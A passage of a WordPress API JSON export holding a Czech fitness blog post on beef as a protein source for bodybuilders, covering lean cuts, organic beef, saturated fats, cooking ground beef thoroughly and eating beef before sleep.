v\u00a0j\u00eddeln\u00ed\u010dku kulturist\u016f? Hov\u011bz\u00ed maso coby vysoce kvalitn\u00ed zdroj b\u00edlkovin v\u00e1m umo\u017en\u00ed je\u0161t\u011b v\u00fdrazn\u011bj\u0161\u00ed n\u00e1r\u016fst svalov\u00e9 hmoty, sta\u010d\u00ed jen dodr\u017eet n\u00e1sleduj\u00edc\u00ed pravidla ohledn\u011b v\u00fdb\u011bru, p\u0159\u00edpravy a konzumace. &nbsp; Bez ohledu na negativn\u00ed n\u00e1zory, kter\u00fdch se kolem hov\u011bz\u00edho masa v\u00a0posledn\u00edch dek\u00e1d\u00e1ch nahromadilo v\u00edc ne\u017e dost, plat\u00ed, \u017ee kdy\u017e dodr\u017eujete ur\u010dit\u00e1 pravidla, je tohle maso excelentn\u00ed potravinou nejenom pro sportovce. P\u0159edstavuje cestu k\u00a0r\u016fstu svalov\u00e9 hmoty. Kl\u00ed\u010dem k\u00a0\u00fasp\u011bchu je v\u011bd\u011bt, kter\u00e9 kousky masa si vybrat a jak je spr\u00e1vn\u011b p\u0159ipravit. &nbsp; VYB\u00cdREJTE SI LIBOV\u00c9 KOUSKY Ne v\u0161echny kr\u00e1vy jsou stejn\u00e9 \u2013 nebo alespo\u0148 ne v\u0161echny \u010d\u00e1sti jejich t\u011bla. N\u011bkter\u00e9 kousky hov\u011bz\u00edho jsou libov\u011bj\u0161\u00ed ne\u017e jin\u00e9. A v\u011bt\u0161ina kulturist\u016f podle toho ur\u010duje, jak\u00e9mu masu d\u00e1t p\u0159ednost. Kvalita zde v\u00edt\u011bz\u00ed nad cenou. 250 g libov\u00e9ho sv\u00ed\u010dkov\u00e9 nebo k\u00fdty m\u00e1 pouze 11-13 gram\u016f tuku (4-5 g nasycen\u00fdch tuk\u016f), zat\u00edmco stejn\u011b velk\u00e1 porce \u017eeb\u00edrka obsahuje a\u017e 79 gram\u016f tuku (23 g nasycen\u00fdch) a obsah kalori\u00ed vzroste ze 437 na 935. KUPUJTE, POKUD MO\u017dNO, BIO HOV\u011aZ\u00cd MASO Nez\u00e1le\u017e\u00ed ale pouze na tom, jak\u00fd kousek masa zvol\u00edte. kl\u00ed\u010dovou roli sehraje tak\u00e9, v\u00a0jak\u00fdch podm\u00ednk\u00e1ch byly kr\u00e1vy chovan\u00e9 a \u010d\u00edm je krmili. Jednou z\u00a0nejv\u011bt\u0161\u00edch v\u00fdhod bio hov\u011bz\u00edho masa je v\u00fdrazn\u011b lep\u0161\u00ed lipidov\u00fd profil. Obsahuje v\u00edce CLA a omega-3 mastn\u00fdch kyselin. Nav\u00edc je zcela prost\u00e9 syntetick\u00fdch hormon\u016f, antibiotik, herbicid\u016f a pesticid\u016f. Bio hov\u011bz\u00ed maso je v\u011bt\u0161inou dra\u017e\u0161\u00ed ne\u017e klasick\u00e9 hov\u011bz\u00ed ze skotu chovan\u00e9ho v\u00a0krav\u00ednech. V\u011bt\u0161ina sportovc\u016f v\u00e1m ale potvrd\u00ed, \u017ee ten cenov\u00fd rozd\u00edl rozhodn\u011b stoj\u00ed za to \u2013 a\u0165 u\u017e z\u00a0pohledu zdravotn\u00edho nebo co se t\u00fd\u010de vlivu na n\u00e1r\u016fst svalov\u00e9 hmoty. NEBOJTE SE NASYCEN\u00ddCH TUK\u016e Kulturist\u00e9 obvykle velice pe\u010dliv\u011b sleduj\u00ed p\u0159\u00edjem nasycen\u00fdch tuk\u016f. Do ur\u010dit\u00e9 m\u00edry to m\u00e1 zcela svoje opodstatn\u011bn\u00ed, ale sou\u010dasn\u011b plat\u00ed, \u017ee nasycen\u00e9 tuky jsou pro t\u011blo v\u00a0rozumn\u00fdch d\u00e1vk\u00e1ch p\u0159\u00ednosem. Jsou kl\u00ed\u010dov\u00fdm komponentem p\u0159i produkci hormon\u016f, nap\u0159\u00edklad testosteronu. Pokud va\u0161e strava obsahuje jen velmi m\u00e1lo nasycen\u00fdch tuk\u016f, m\u016f\u017eete to nep\u0159\u00edzniv\u011b ovlivnit hladinu testosteronu. Obecn\u011b plat\u00ed, \u017ee by kulturist\u00e9 m\u011bli asi polovinu kalori\u00ed ve form\u011b tuk\u016f \u010derpat ze zdrav\u00fdch tuk\u016f. Jejich zdrojem je nap\u0159\u00edklad olivov\u00fd a kanolov\u00fd olej, o\u0159echy, sem\u00ednka, avok\u00e1do a tu\u010dn\u011b ryby, nap\u0159. losos. Druh\u00e1 polovina d\u00e1vky tuk\u016f by m\u011bla poch\u00e1zet z\u00a0nasycen\u00fdch zdroj\u016f, jako jsou ml\u00e9\u010dn\u00e9 produkty, vaj\u00ed\u010dka a maso. Kulturist\u00e9 (a nejenom oni) by se m\u011bli vyh\u00fdbat trans tuk\u016fm (chemicky zm\u011bn\u011bn\u00fdm hydrogenovan\u00fdm olej\u016fm). MLET\u00c9 MASO TEPELN\u011a UPRAVUJTE PE\u010cLIV\u011aJI NE\u017d STEAKY Z hlediska p\u0159\u00edpadn\u00e9 kontaminace je mlet\u00e9 hov\u011bz\u00ed nejrizikov\u011bj\u0161\u00ed. Doba jeho tepeln\u00e9 \u00fapravy by tedy m\u011bla b\u00fdt dostate\u010dn\u011b dlouh\u00e1. Mlet\u00e9 maso byste m\u011bli p\u0159ipravovat pouze na stupe\u0148 medium a v\u00fd\u0161. Kdy\u017e takov\u00fd karban\u00e1tek nebo hamburger rozkroj\u00edte, nem\u011blo by b\u00fdt maso uvnit\u0159 v\u016fbec r\u016f\u017eov\u00e9. &nbsp; VYU\u017dIJTE HOV\u011aZ\u00cd MASO JAKO POMALU STRAVITELN\u00dd ZDROJ B\u00cdLKOVIN Zku\u0161en\u00ed kulturist\u00e9 v\u011bd\u00ed, v\u00a0\u010dem spo\u010d\u00edvaj\u00ed v\u00fdhody konzumace rychle a pomalu straviteln\u00fdch b\u00edlkovin v\u00a0r\u016fznou denn\u00ed dobu, v\u00a0z\u00e1vislosti na okam\u017eit\u00fdch pot\u0159eb\u00e1ch organismu. Rychle straviteln\u00e9 proteiny (nap\u0159\u00edklad syrov\u00e1tka a sojov\u00e9 b\u00edlkoviny) jsou excelentn\u00ed v\u00a0okam\u017eiku, kdy m\u00e1te za sebou dlouhou dobu bez p\u0159\u00edjmu b\u00edlkovin, tzn. nap\u0159\u00edklad po probuzen\u00ed nebo, kdy\u017e chcete po tr\u00e9ninku nastartovat regeneraci. Pomalu straviteln\u00e9 formy b\u00edlkovin p\u0159ich\u00e1z\u00ed ke slovu b\u011bhem dne, kdy pot\u0159ebujete m\u00edt k\u00a0dispozici stabiln\u00ed d\u00e1vku aminokyselin. Hov\u011bz\u00ed maso je jedn\u00edm z\u00a0nejlep\u0161\u00edch zdroj\u016f pomalu straviteln\u00fdch b\u00edlkovin. Hod\u00ed se proto i pro konzumaci ve\u010der p\u0159ed span\u00edm, asi 90 minut po tr\u00e9ninku. Takov\u00fd postup umo\u017en\u00ed dos\u00e1hnout pomal\u00e9ho uvol\u0148ov\u00e1n\u00ed aminokyselin v\u00a0pr\u016fb\u011bhu noci, \u010d\u00edm\u017e se sni\u017euje riziko rozkladu svalov\u00e9 tk\u00e1n\u011b. &nbsp; &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":616,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-614","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/614","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=614"}],"version-history":[{"count":6,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/614\/revisions"}],"predecessor-version":[{"id":623,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/614\/revisions\/623"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/616"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=614"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=614"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=614"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}